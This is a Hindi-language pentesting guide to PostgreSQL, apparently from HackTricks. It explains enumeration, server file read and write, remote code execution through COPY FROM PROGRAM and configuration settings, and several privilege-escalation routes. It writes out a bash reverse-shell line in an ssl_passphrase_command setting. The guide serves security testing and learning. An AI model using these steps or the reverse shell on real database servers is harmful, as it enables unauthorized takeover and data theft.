5432,5433 - Pentesting Postgresql
Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित कार्यप्रवाहों को आसानी से निर्मित करें और स्वचालित करें। आज ही पहुंचें:
मूल जानकारी
PostgreSQL को एक ऑब्जेक्ट-संबंधी डेटाबेस सिस्टम के रूप में वर्णित किया गया है जो ओपन सोर्स है। यह सिस्टम केवल SQL भाषा का उपयोग ही नहीं करता बल्कि इसे अतिरिक्त सुविधाओं के साथ बढ़ाता है। इसकी क्षमताएँ इसे विभिन्न प्रकार के डेटा प्रकारों और ऑपरेशनों का संचालन करने की अनुमति देती हैं, जिससे यह डेवलपरों और संगठनों के लिए एक बहुमुखी विकल्प बनता है।
डिफ़ॉल्ट पोर्ट: 5432, और यदि यह पोर्ट पहले से ही इस्तेमाल में है तो प्रतीत होता है कि postgresql अगला पोर्ट (शायद 5433) उपयोग में लाएगा जो उपयोग में नहीं है।
कनेक्ट और मूल गणना
यदि आप \list
चलाते हैं और आपको एक डेटाबेस मिलता है जिसका नाम rdsadmin
है, तो आप जान लेते हैं कि आप AWS postgresql डेटाबेस के अंदर हैं।
पोस्टग्रेसक्यूएल डेटाबेस को दुरुपयोग कैसे करें के बारे में अधिक जानकारी के लिए देखें:
pagePostgreSQL injectionस्वचालित गणना
पोर्ट स्कैनिंग
इस रिसर्च के अनुसार, जब कोई कनेक्शन का प्रयास असफल होता है, dblink
एक sqlclient_unable_to_establish_sqlconnection
अपवाद फेंकता है जिसमें त्रुटि का स्पष्टीकरण शामिल होता है। इन विवरणों की कुछ उदाहरण नीचे दिए गए हैं।
होस्ट नीचे है
DETAIL: सर्वर से कनेक्ट नहीं किया जा सका: होस्ट "1.2.3.4" पर सर्वर चल रहा है और पोर्ट 5678 पर TCP/IP कनेक्शन स्वीकार कर रहा है?
पोर्ट बंद है
पोर्ट खुला है
PostgreSQL
पोर्ट खुला है या फ़िल्टर किया गया है
विशेषता की गणना
भूमिकाएँ
भूमिका प्रकार | |
---|---|
rolsuper | भूमिका में सुपरयूजर प्राधिकार है |
rolinherit | भूमिका स्वचालित रूप से उन भूमिकाओं के प्राधिकारों को अधिकार प्राप्त होते हैं जिनके सदस्य हैं |
rolcreaterole | भूमिका अधिक भूमिकाएँ बना सकती है |
rolcreatedb | भूमिका डेटाबेस बना सकती है |
rolcanlogin | भूमिका लॉग इन कर सकती है। अर्थात, इस भूमिका को प्रारंभिक सत्र अधिकृत पहचान के रूप में दिया जा सकता है |
rolreplication | भूमिका एक प्रतिलिपि भूमिका है। एक प्रतिलिपि भूमिका प्रतिलिपि कनेक्शन आरंभ कर सकती है और प्रतिलिपि स्लॉट बना और हटा सकती है |
rolconnlimit | लॉग इन कर सकने वाले भूमिकाओं के लिए, यह इस भूमिका द्वारा बनाई गई सबसे अधिक समकालिक कनेक्शनों की अधिकतम संख्या सेट करता है। -1 का अर्थ है कोई सीमा नहीं है। |
rolpassword | पासवर्ड नहीं (हमेशा |
rolvaliduntil | पासवर्ड समाप्ति समय (केवल पासवर्ड प्रमाणीकरण के लिए उपयोग किया जाता है); कोई समाप्ति नहीं है तो null |
rolbypassrls | भूमिका हर पंक्ति स्तरीय सुरक्षा नीति को अनदेखा करती है, अधिक जानकारी के लिए अनुभाग 5.8 देखें। |
rolconfig | रन-टाइम कॉन्फ़िगरेशन चर चरणों के लिए भूमिका विशेष डिफ़ॉल्ट्स |
oid | भूमिका की आईडी |
दिलचस्प समूह
यदि आप
pg_execute_server_program
के सदस्य हैं तो आप कार्य को क्रियान्वित कर सकते हैंयदि आप
pg_read_server_files
के सदस्य हैं तो आप फ़ाइलें पढ़ सकते हैंयदि आप
pg_write_server_files
के सदस्य हैं तो आप फ़ाइलें लिख सकते हैं
ध्यान दें कि Postgres में एक उपयोगकर्ता, एक समूह और एक भूमिका एक ही है। यह आपके उपयोग करने के तरीके पर निर्भर करता है और यदि आप इसे लॉग इन करने देते हैं।
तालिकाएँ
कार्यों
फ़ाइल-सिस्टम क्रियाएँ
निर्दिष्ट किए गए ग्रुप DEFAULT_ROLE_READ_SERVER_FILES
(जिसे pg_read_server_files
कहा जाता है) के सदस्य और सुपर उपयोगकर्ता किसी भी पथ पर COPY
विधि का उपयोग कर सकते हैं (जांचें genfile.c
में convert_and_check_filename
):
DEFAULT_ROLE_READ_SERVER_FILES
(जिसे pg_read_server_files
कहा जाता है) के सदस्य और सुपर उपयोगकर्ता किसी भी पथ पर COPY
विधि का उपयोग कर सकते हैं (जांचें genfile.c
में convert_and_check_filename
):ध्यान रखें कि यदि आप सुपर उपयोगकर्ता नहीं हैं लेकिन आपके पास CREATEROLE अनुमतियाँ हैं तो आप उस समूह के सदस्य बन सकते हैं:
कुछ अन्य पोस्टग्रेस फंक्शन हैं जो फ़ाइल पढ़ने या निर्देशिका की सूची बनाने के लिए उपयोग किए जा सकते हैं। केवल सुपरयूजर्स और निर्दिष्ट अनुमतियों वाले उपयोगकर्ता इन्हें उपयोग कर सकते हैं:
आप https://www.postgresql.org/docs/current/functions-admin.html में अधिक कार्य पा सकते हैं।
सरल फ़ाइल लेखन
केवल सुपर उपयोगकर्ता और pg_write_server_files
के सदस्य फ़ाइल लिखने के लिए कॉपी का उपयोग कर सकते हैं।
ध्यान रखें कि यदि आप सुपर उपयोगकर्ता नहीं हैं लेकिन आपके पास CREATEROLE
अनुमतियाँ हैं तो आप उस समूह के सदस्य बन सकते ह।
ध्यान रखें कि COPY न्यूलाइन चार्स को संभाल नहीं सकता, इसलिए यदि आप एक base64 पेलोड का उपयोग कर रहे हैं तो आपको एक-लाइनर भेजने की आवश्यकता है।
इस तकनीक की एक बहुत महत्वपूर्ण सीमा यह है कि copy
का उपयोग बाइनर फ़ाइलें लिखने के लिए नहीं किया जा सकता क्योंकि यह कुछ बाइनर मान को संशोधित करता है।
बाइनर फ़ाइलें अपलोड
हालांकि, बड़ी बाइनर फ़ाइलें अपलोड करने के लिए अन्य तकनीकें हैं:
pageBig Binary Files Upload (PostgreSQL)बग बाउंटी टिप: Intigriti में साइन अप करें, एक प्रीमियम बग बाउंटी प्लेटफ़ॉर्म जो हैकर्स द्वारा बनाया गया है, हैकर्स के लिए! हमारे साथ शामिल हों https://go.intigriti.com/hacktricks आज ही, और शुरू करें बाउंटी कमाना तक $100,000 तक!
लोकल फ़ाइल लेख के माध्यम से PostgreSQL तालिका डेटा अपडेट करें
यदि आपके पास PostgreSQL सर्वर फ़ाइलों को पढ़ने और लिखने की आवश्यकता है, तो आप PostgreSQL डेटा निर्देशिका में संबंधित फ़ाइल नोड को अधिलेखित करके सर्वर पर किसी भी तालिका को अपडेट कर सकते हैं। इस तकनीक पर अधिक जानकारी यहाँ मिलेगी।
आवश्यक कदम:
PostgreSQL डेटा निर्देशिका प्राप्त करें
ध्यान दें: यदि आप सेटिंग से वर्तमान डेटा निर्देशिका पथ प्राप्त नहीं कर पा रहे हैं, तो आप SELECT version()
क्वेरी के माध्यम से मुख्य PostgreSQL संस्करण को क्वेरी करके पथ को ब्रूट-फ़ोर्स करने का प्रयास कर सकते हैं। Unix स्थापनाओं पर PostgreSQL की सामान्य डेटा निर्देशिका पथ हैं /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
। एक सामान्य क्लस्टर नाम main
है। 2. लक्षित तालिका से संबंधित फ़ाइल नोड के लिए एक संबंधित पथ प्राप्त करें
यह क्वेरी कुछ इस प्रकार कुछ लौटानी चाहिए base/3/1337
। डिस्क पर पूरा पथ होगा $DATA_DIRECTORY/base/3/1337
, अर्थात /var/lib/postgresql/13/main/base/3/1337
। 3. lo_*
फ़ंक्शन के माध्यम से फ़ाइल नोड डाउनलोड करें
लक्षित तालिका से संबंधित डेटाटाइप प्राप्त करें
PostgreSQL Filenode Editor का उपयोग करके फ़ाइल नोड को संपादित करें; सभी
rol*
बूलियन फ़्लैग्स को पूर्ण अनुमतियों के लिए 1 सेट करें।
(वैकल्पिक रूप से) एक महंगा SQL क्वेरी चलाकर इन-मेमोरी तालिका कैश को साफ करें
अब आपको PostgreSQL में अपडेटेड तालिका मान दिखाई देना चाहिए।
आप pg_authid
तालिका को संपादित करके सुपर एडमिन भी बन सकते हैं। देखें निम्नलिखित खंड।
RCE
प्रोग्राम के लिए RCE
संस्करण 9.3 से शुरू करके केवल सुपर उपयोगकर्ता और समूह के सदस्य pg_execute_server_program
का उपयोग RCE के लिए कॉपी कर सकते हैं (उदाहरण निकासी के साथ:
उदाहरण के लिए:
ध्यान रखें कि यदि आप सुपर उपयोगकर्ता नहीं हैं लेकिन आपके पास CREATEROLE
अनुमतियाँ हैं तो आप उस समूह के सदस्य बन सकते हैं:
या metasploit से multi/postgres/postgres_copy_from_program_cmd_exec
मॉड्यूल का उपयोग करें।
इस वंरूपता के बारे में अधिक जानकारी यहाँ मिलेगी। CVE-2019-9193 के रूप में रिपोर्ट किया गया, Postges ने इसे एक सुविधा घोषित किया और इसे ठीक नहीं किया जाएगा।
PostgreSQL भाषाओं के साथ RCE
pageRCE with PostgreSQL LanguagesPostgreSQL एक्सटेंशन के साथ RCE
पिछले पोस्ट से सीखने के बाद जब आप बाइनरी फ़ाइल अपलोड कैसे करें के बारे में सीख लेते हैं, तो आप RCE अपलोड करके एक पोस्टग्रेसक्यूएल एक्सटेंशन और इसे लोड करने का प्रयास कर सकते हैं।
pageRCE with PostgreSQL ExtensionsPostgreSQL कॉन्फ़िगरेशन फ़ाइल RCE
निम्नलिखित RCE वेक्टर्स विशेष रूप से सीमित SQLi संदर्भों में उपयोगी हैं, क्योंकि सभी कदम नेस्टेड SELECT स्टेटमेंट के माध्यम से किए जा सकते हैं।
PostgreSQL की कॉन्फ़िगरेशन फ़ाइल पोस्टग्रेस उपयोगकर्ता द्वारा लिखने योग्य है, जो डेटाबेस चलाने वाला है, इसलिए सुपरयूजर के रूप में, आप फ़ाइलों को फ़ाइल सिस्टम में लिख सकते हैं, और इसलिए आप इस फ़ाइल को अधिलेखित कर सकते हैं।
ssl_passphrase_command के साथ RCE
इस तकनीक के बारे में अधिक जानकारी यहाँ मिलेगी।
कॉन्फ़िगरेशन फ़ाइल में कुछ दिलचस्प गुण हो सकते हैं जो RCE पर ले जा सकते हैं:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
डेटाबेस की निजी कुंजी का पथssl_passphrase_command = ''
यदि निजी फ़ाइल पासवर्ड से सुरक्षित है (एन्क्रिप्टेड) तो postgresql इस गुण में निर्दिष्ट कमांड को निष्पादित करेगा।ssl_passphrase_command_supports_reload = off
यदि यह गुण चालू है तो कुंजी पासवर्ड से सुरक्षित है तो कमांड निष्पादित होगा जबpg_reload_conf()
को निष्पादित किया जाएगा।
इसके बाद, एक हमलावर को निम्नलिखित करने की आवश्यकता होगी:
सर्वर से निजी कुंजी डंप करें
डाउनलोड की गई निजी कुंजी एन्क्रिप्ट करें:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
अधिलेखित करें
वर्तमान postgresql कॉन्फ़िगरेशन को डंप करें
उल्लिखित गुणों की कॉन्फ़िगरेशन के साथ कॉन्फ़िगरेशन को अधिलेखित करें:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
pg_reload_conf()
को निष्पादित करें
इसे टेस्ट करते समय मुझे पता चला कि यह केवल काम करेगा अगर निजी कुंजी फ़ाइल का अधिकार 640 है, यह रूट द्वारा स्वामित्व और समूह ssl-cert या postgres (ताकि postgres उपयोगकर्ता इसे पढ़ सके), और /var/lib/postgresql/12/main में स्थानित है।
archive_command के साथ RCE
इस कॉन्फ़िग और WAL के बारे में अधिक जानकारी यहाँ** मिलेगी।**
कॉन्फ़िगरेशन फ़ाइल में एक और गुण है archive_command
जो शोषणीय है।
इसे काम करने के लिए, archive_mode
सेटिंग को 'on'
या 'always'
में होना चाहिए। यदि यह सत्य है, तो हम archive_command
में कमांड को अधिलेखित कर सकते हैं और WAL (लेखन-पहले लॉगिंग) कार्रवाई के माध्यम से इसे निष्पादित करने के लिए बाध्य कर सकते हैं।
सामान्य कदम हैं:
जांचें कि आर्काइव मोड सक्षम है:
SELECT current_setting('archive_mode')
dynamic_library_path
में/tmp/
निर्दिष्ट करें, उदाहरण के लिएdynamic_library_path = '/tmp:$libdir'
session_preload_libraries
में अपराधी लाइब्रेरी नाम शामिल करें, उदाहरण के लिएsession_preload_libraries = 'payload.so'
SELECT version()
क्वेरी के माध्यम से मुख्य PostgreSQL संस्करण की जांच करेंसही PostgreSQL डेव पैकेज के साथ अपराधी लाइब्रेरी को कंपाइल करें नमूना कोड:
कोड कंपाइल करना:
कदम 2-3 में बनाई गई अपराधी
postgresql.conf
को डाउनलोड करें और मूल फ़ाइल को अधिलेखित करेंकदम 5 से
payload.so
को/tmp
निर्दिष्ट में अपलोड करेंसर्वर कॉन्फ़िगरेशन को पुनः लोड करें सर्वर को पुनः आरंभ करके या
SELECT pg_reload_conf()
क्वेरी को आमंत्रित करकेअगले डीबी कनेक्शन पर, आपको रिवर्स शैल कनेक्शन प्राप्त होगा।
पोस्टग्रेस प्राइवेस्क
CREATEROLE प्राइवेस्क
अनुमति
दस्तावेज़ के अनुसार: CREATEROLE
विशेषाधिकार वाले भूमिकाएँ किसी भी भूमिका में सदस्यता प्रदान या रद्द कर सकती हैं जो कोई सुपरयूज़र नहीं है।
इसलिए, यदि आपके पास CREATEROLE
अनुमति है तो आप खुद को अन्य भूमिकाओं (जो सुपरयूज़र नहीं हैं) तक पहुंच प्रदान कर सकते हैं जो आपको फ़ाइलों को पढ़ने और लिखने और कमांड्स को निष्पादित करने का विकल्प दे सकती हैं:
पासवर्ड बदलें
इस भूमिका वाले उपयोगकर्ता अन्य नॉन-सुपरयूजर्स के पासवर्ड भी बदल सकते हैं:
सुपरयूजर की अधिकार उन्नति
यह काफी सामान्य है कि स्थानीय उपयोगकर्ता PostgreSQL में किसी पासवर्ड की प्रदान किए बिना लॉगिन कर सकते हैं। इसलिए, एक बार जब आपने कोड को निष्पादित करने की अनुमति जुटा ली है तो आप इन अनुमतियों का दुरुपयोग करके अपने पास सुपरयूजर
भूमिका प्राप्त कर सकते हैं:
यह आम तौर पर pg_hba.conf
फ़ाइल में निम्नलिखित लाइनों के कारण संभव होता है:
ALTER TABLE प्राइवेस्क
इस व्रिटअप में व्याख्या की गई है कि Postgres GCP में ALTER TABLE विशेषाधिकार का दुरुपयोग करके प्राइवेस्क करना संभव था। जो उपयोगकर्ता को प्रदान किया गया था।
जब आप एक अन्य उपयोगकर्ता को एक तालिका के मालिक बनाने की कोशिश करते हैं, तो आपको इसे रोकने वाला एक त्रुटि मिलनी चाहिए, लेकिन प्रतित्याशी GCP ने इस विकल्प को दिया जो GCP में सुपरयूजर पोस्टग्रेस उपयोगकर्ता को नहीं दिया गया था:
इस विचार को उस तथ्य के साथ जोड़ने के साथ कि जब INSERT/UPDATE/ANALYZE कमांड एक सूची फ़ंक्शन वाली तालिका पर निष्पादित किए जाते हैं, तो कमांड का हिस्सा के रूप में फ़ंक्शन को कॉल किया जाता है तालिका के मालिक की अनुमतियों के साथ। यह संभव है कि एक फ़ंक्शन के साथ एक सूची बनाना और उस तालिका पर मालिक अनुमतियों को देना, और फिर उस तालिका पर एनालाइज़ चलाना जो दुरुपयोगी फ़ंक्शन के साथ होगा जो कमांड निष्पादित करने में सक्षम होगा क्योंकि यह मालिक की अनुमतियों का उपयोग कर रहा है।
शोषण
एक नया तालिका बनाने से शुरू करें।
तालिका में कुछ अप्रासंगिक सामग्री डालें ताकि अनुक्रमिका कार्य के लिए डेटा प्रदान किया जा सके।
एक हानिकारक अनुक्रमिका कार्य विकसित करें जिसमें एक कोड निषेध पेलोड शामिल हो, जिससे अनधिकृत आदेशों को निषेधित किया जा सके।
तालिका के मालिक को "cloudsqladmin" में बदलें, जो क्लाउड SQL द्वारा डेटाबेस का प्रबंधन और रख-रखाव करने के लिए विशेष रूप से उपयोग किया जाने वाली GCP की सुपरयूजर भूमिका है।
तालिका पर एक ANALYZE कार्रवाई करें। यह कार्रवाई PostgreSQL इंजन को तालिका के मालिक, "cloudsqladmin" की उपयोगकर्ता संदर्भ में स्विच करने के लिए मजबूर करती है। इस परिणामस्वरूप, हानिकारक अनुक्रमिका कार्य "cloudsqladmin" की अनुमतियों के साथ कॉल किया जाता है, जिससे पहले अनधिकृत शैल कमांड का निष्पादन संभव हो जाता है।
PostgreSQL में, यह फ्लो इस तरह दिखता है:
फिर, shell_commands_results
तालिका में निष्पादित कोड का आउटपुट होगा:
स्थानीय लॉगिन
कुछ गलत कॉन्फ़िगर किए गए postgresql इंस्टेंसेज किसी भी स्थानीय उपयोगकर्ता को लॉगिन करने की अनुमति देते हैं, 127.0.0.1 से dblink
फ़ंक्शन का उपयोग करके स्थानीय लॉगिन संभव है:
ध्यान दें कि पिछले क्वेरी काम करने के लिए फ़ंक्शन dblink
मौजूद होना चाहिए। अगर यह मौजूद नहीं है तो आप इसे निम्नलिखित के साथ बनाने की कोशिश कर सकते हैं।
यदि आपके पास अधिक विशेषाधिकार वाले उपयोगकर्ता का पासवर्ड है, लेकिन उपयोगकर्ता को बाहरी आईपी से लॉगिन करने की अनुमति नहीं है, तो आप निम्नलिखित फ़ंक्शन का उपयोग करके उस उपयोगकर्ता के रूप में क्वेरी को निष्पादित कर सकते हैं:
इसकी जांच करना संभव है:
सुरक्षा परिभाषित किया गया कस्टम परिभाषित फ़ंक्शन
इस लेख में, पेंटेस्टर्स को IBM द्वारा प्रदान किए गए postgres इंस्टेंस में privesc करने में सक्षम थे, क्योंकि उन्होंने इस फ़ंक्शन को पाया जिसमें सुरक्षा परिभाषित झंडा लगा हुआ था:
दस्तावेज़ों में स्पष्ट किया गया है कि सुरक्षा परिभाषित के साथ एक फ़ंक्शन को निष्पादित किया जाता है जिसमें उस उपयोगकर्ता की विशेषाधिकारों के साथ निष्पादित किया जाता है जिसका मालिक है। इसलिए, यदि फ़ंक्शन SQL Injection के लिए वंशावधि है या यदि यह कुछ गोपनीय क्रियाएँ अटैकर द्वारा नियंत्रित पैरामीटर के साथ कर रहा है, तो यह postgres में विशेषाधिकारों को उन्नत करने के लिए दुरुपयोग किया जा सकता है।
पिछले कोड की लाइन 4 में आप देख सकते हैं कि फ़ंक्शन में सुरक्षा परिभाषित झंडा है।
और फिर कमांड निष्पादित करें:
PL/pgSQL के साथ पास बरूटफोर्स
PL/pgSQL एक पूरी विशेषता वाली प्रोग्रामिंग भाषा है जो SQL की तुलना में अधिक प्रक्रियात्मक नियंत्रण प्रदान करती है। यह लूप और अन्य नियंत्रण संरचनाएँ का उपयोग करने की सुविधा प्रदान करता है ताकि कार्यक्रम तर्क को बढ़ावा मिले। इसके अतिरिक्त, SQL वक्तव्य और ट्रिगर को PL/pgSQL भाषा का उपयोग करके बनाए गए फ़ंक्शन को आमंत्रित करने की क्षमता होती है। यह एक और व्यापक और बहुमुखी पहुंच की दृष्टि से डेटाबेस प्रोग्रामिंग और स्वचालन के लिए एक अधिक समर्पित दृष्टिकोण की अनुमति देता है। आप इस भाषा का दुरुपयोग करके PostgreSQL से उपयोगकर्ताओं के credentials को ब्रूट-फ़ोर्स करने के लिए कर सकते हैं।
pagePL/pgSQL Password Bruteforceआंतरिक PostgreSQL तालिकाओं को अधिलेखित करके Privesc
निम्नलिखित privesc वेक्टर विशेष रूप से सीमित SQLi संदर्भों में उपयोगी है, क्योंकि सभी कदम नेस्टेड SELECT वक्तव्यों के माध्यम से किए जा सकते हैं।
यदि आप PostgreSQL सर्वर फ़ाइलें पढ़ और लिख सकते हैं, तो आप PostgreSQL ऑन-डिस्क फाइलनोड को अधिलेखित करके सुपरयूजर बन सकते हैं, जो आंतरिक pg_authid
तालिका से संबंधित है।
इस तकनीक के बारे में अधिक जानें यहाँ।
हमले के कदम हैं:
PostgreSQL डेटा निर्देशिका प्राप्त करें
pg_authid
तालिका से संबंधित फाइलनोड के लिए एक सापेक्ष मार्ग प्राप्त करेंlo_*
फ़ंक्शन के माध्यम से फाइलनोड डाउनलोड करेंpg_authid
तालिका से संबंधित डेटाटाइप प्राप्त करेंPostgreSQL Filenode Editor का उपयोग करके फाइलनोड को संपादित करें; सभी
rol*
बूलियन झंडे को पूर्ण अनुमतियों के लिए 1 पर सेट करें।lo_*
फ़ंक्शन के माध्यम से संपादित फाइलनोड को पुनः अपलोड करें, और डिस्क पर मूल फ़ाइल को अधिलेखित करें(वैकल्पिक रूप से) एक महंगे SQL क्वेरी चलाकर इन-मेमोरी तालिका कैश को साफ़ करें
अब आपके पास एक पूर्ण सुपरएडमिन की विशेषाधिकार होने चाहिए।
POST
लॉगिंग
postgresql.conf फ़ाइल के अंदर आप पोस्टग्रेसक्यूएल लॉग को सक्षम कर सकते हैं जिसके लिए निम्नलिखित को बदलना होगा:
Then, सेवा पुनः आरंभ करें.
pgadmin
pgadmin PostgreSQL के लिए एक प्रशासन और विकास प्लेटफ़ॉर्म है। आप pgadmin4.db फ़ाइल में पासवर्ड खोज सकते हैं। आप इन्हें खोल सकते हैं उसका उपयोग करके decrypt स्क्रिप्ट के अंदर: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
pg_hba
पोस्टग्रेसक्यूएल में क्लाइंट प्रमाणीकरण pg_hba.conf नामक एक कॉन्फ़िगरेशन फ़ाइल के माध्यम से प्रबंधित होता है। इस फ़ाइल में एक श्रृंखला रेकॉर्ड होते हैं, प्रत्येक रेकॉर्ड में एक कनेक्शन प्रकार, क्लाइंट आईपी पता रेंज (यदि लागू हो), डेटाबेस नाम, उपयोगकर्ता नाम, और मेल मिलाने वाली कनेक्शन के लिए उपयोग करने के लिए प्रमाणीकरण विधि शामिल होती है। कनेक्शन प्रकार, क्लाइंट पता, अनुरोधित डेटाबेस, और उपयोगकर्ता नाम को मिलाने वाला पहला रेकॉर्ड प्रमाणीकरण के लिए उपयोग किया जाता है। यदि प्रमाणीकरण विफल हो जाता है तो कोई प्रत्यारोपण या बैकअप नहीं है। यदि कोई रेकॉर्ड मेल नहीं खाता है, तो पहुंच निषेधित की जाती है।
pg_hba.conf में उपलब्ध पासवर्ड-आधारित प्रमाणीकरण विधियाँ md5, crypt, और password हैं। ये विधियाँ पासवर्ड को कैसे भेजा जाता है में भिन्न होती हैं: MD5-हैश, crypt-एन्क्रिप्टेड, या स्पष्ट-पाठ। महत्वपूर्ण यह है कि crypt विधि का उपयोग pg_authid में एन्क्रिप्ट किए गए पासवर्ड के साथ नहीं किया जा सकता।
Last updated